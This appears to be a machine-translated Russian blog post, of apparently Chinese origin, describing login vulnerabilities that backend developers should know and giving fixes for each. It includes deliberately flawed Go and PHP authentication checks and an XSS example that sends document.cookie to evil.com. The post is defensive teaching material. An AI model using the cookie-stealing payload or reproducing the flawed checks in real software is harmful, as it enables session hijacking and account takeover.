Уязвимости входа в систему, которые должен знать каждый бэкэнд-разработчик

задняя часть
Уязвимости входа в систему, которые должен знать каждый бэкэнд-разработчик

Это первый день моего участия в Gengwen Challenge, смотрите подробности мероприятия:Обновить вызов

предисловие

Вход в систему — это функция большинства веб-сайтов, являющаяся первым шагом пользователя к использованию системы. Если логическая структура неразумна, злоумышленники могут легко использовать ее, вызывая проблемы с безопасностью.

утечка пароля

слабый пароль

Думаю, все знают, что такое слабый пароль, для удобства пользователи обычно используют 123456, admin, passwd, password, 123qwe и т. д. в качестве обычных паролей, которые удобны и легко запоминаются. Хакеры составят словарь для расшифровки этих часто используемых паролей и попытаются расшифровать их один за другим. Кроме того, также рекомендуется не использовать в качестве паролей дату рождения, номер мобильного телефона, имя и другую связанную информацию.Прежде чем хакеры проведут взлом методом грубой силы, они сначала соберут эту связанную информацию пользователей и введут ее в словарь для расшифровки.

существуетHave I Been PwnedВы можете обнаружить, что пароль «123456» был использован24,230,577второсортный

Решение

Самое прямое решение, конечно, состоит в том, чтобы пользователь самостоятельно установил сложный пароль. Но мы также должны улучшить безопасность с точки зрения развития.

Применять надежность пароля

Программа задает правила надежности пароля.Когда пользователь устанавливает пароль, оценивается, соответствует ли надежность пароля требованиям и не соответствует ли параметру отклонения.

Ограничить частоту входа

Принцип взлома методом перебора заключается в использовании пароля в поле расшифровки для непрерывной попытки входа в систему.Мы можем программно контролировать частоту входа, например, ограничить 5 попыток входа в минуту.После этого количества раз номер мобильного телефона Для повторной попытки входа требуется код подтверждения /email. Увеличьте сложность взлома методом грубой силы.

Пароль выразительный

Когда пользователь запрашивает вход, учетная запись и пароль пользователя напрямую передаются на сервер в виде открытого текста.Хакеры могут легко перехватить учетную запись и пароль пользователя с помощью атак типа «человек посередине».

Решение

Соединение между клиентом и сервером использует зашифрованную передачу https. Избегайте передачи данных третьим лицам.

Уязвимость логики кода

Войти с пустым паролем

Введен неправильный пароль, и вход в систему завершается неудачно, и пользователь может войти в систему напрямую, не вводя пароль.

func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
	if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
		return errors.New("密码错误")
	}
	// 成功通过
	...
}

Не смейтесь, я сталкивался с таким кодом, это может быть потому, что passwdInput передавался в nil, что вызывало панику кода напрямую, я не обращал внимания на логику при его изменении и напрямую добавлял слой суждения проверить на ноль, что привело к появлению лазеек.

"пароль" - правда

Студенты, которые пишут PHP, должны знать разницу между "==" и "===".

if($passwdFromDb == $passwdInput)
{
    // 登陆成功
}

Приведенный выше код, если passwdInput передается вtrue, это можно проверить. В результате получается «Мастер-пароль». Так что, студенты, не скупитесь на "=" при написании, возможно, это может спасти вам жизнь.

CAPTCHA УЯЗВИМОСТЬ

В наши дни все больше и больше изменений в логинах и паролях полагаются на коды проверки мобильных телефонов / электронной почты, а некоторые могут даже账号/手机号 + 验证码Привилегированная посадка, проверочный код не контролируется должным образом.

Взлом капчи методом перебора

При входе/смене пароля сервер отправляет на наш мобильный телефон 6-значный проверочный код. Если сервер не накладывает никаких ограничений на проверочный код. Затем злоумышленник может взломать капчу.

Решение

  1. Ограничить количество попыток/частоту ввода капчи
  2. Контролируйте срок действия проверочного кода

Код подтверждения пользователя A, изменить информацию о пользователе B

A При изменении информации о пользователе требуется проверка кода подтверждения. Серверная часть использует токен сеанса пользователя в качестве ключа и значение в качестве кода подтверждения, который хранится в Redis. Во время проверки токеном проверяется только код проверки, а целевая учетная запись, информация которой должна быть изменена, не проверяется.Например, когда userID = B в параметрах модификации, это приведет к модификации B информация о пользователе. создавать лазейки.

Решение

Обратите внимание, что проверочный код соответствует идентификатору целевой учетной записи.

уязвимость файлов cookie

Файл cookie используется клиентом для хранения состояния сеанса, и при невнимательном использовании легко вызвать уязвимости.

Аутентификация с помощью файлов cookie

  • Интерфейс оценивает личность пользователя по идентификатору пользователя файла cookie в заголовке запроса. Вы можете напрямую изменить поле userID в файле cookie, чтобы выдать себя за любого другого пользователя.
  • Интерфейс оценивает полномочия пользователя по полю роли в файле cookie в заголовке запроса и может напрямую изменять поле роли во внешнем файле cookie для повышения полномочий пользователя.

Решение

Используйте сеанс сервера для хранения информации о пользователе.Когда интерфейс используется для аутентификации, вы можете найти соответствующий контент сеанса через поле sessionID в файле cookie, получить информацию о пользователе, а затем сделать последующие выводы.

cookie не установлен httponly

Атака xss — это атака с внедрением кода. Злоумышленник внедряет вредоносный код на веб-сайт, который запускается, когда пользователь посещает веб-сайт, тем самым получая конфиденциальную информацию о пользователе.注入恶意代码Нет необходимости напрямую менять исходный код сайта, например, пользователи пишут в области комментариев

<script src=“http://evil.com” + escape(document.cookie)>

Программа не экранирует кодовые символы для входного содержимого. Когда другие люди открывают область комментариев, они автоматически запускают этот вредоносный код и отправляют содержимое своих файлов cookie наhttp://evil.com, привести к утечке файлов cookie.

При использовании сеанса для хранения информации о пользователе идентификатор сеанса сохраняется в файле cookie, а внутренний интерфейс выполняет проверку личности пользователя в соответствии с сеансом, соответствующим идентификатору сеанса. Если злоумышленник получает идентификатор сеанса в файле cookie, личность жертвы может быть подделана для входа на веб-сайт.

Решение

Включите атрибут httponly файлов cookie. После включения информация о файлах cookie не может быть прочитана через скрипт js. Это может эффективно предотвратить атаки xss от кражи содержимого файлов cookie.

Знаете ли вы какие-либо другие уязвимости входа в систему, добро пожаловать, чтобы поделиться и обсудить ~

Категории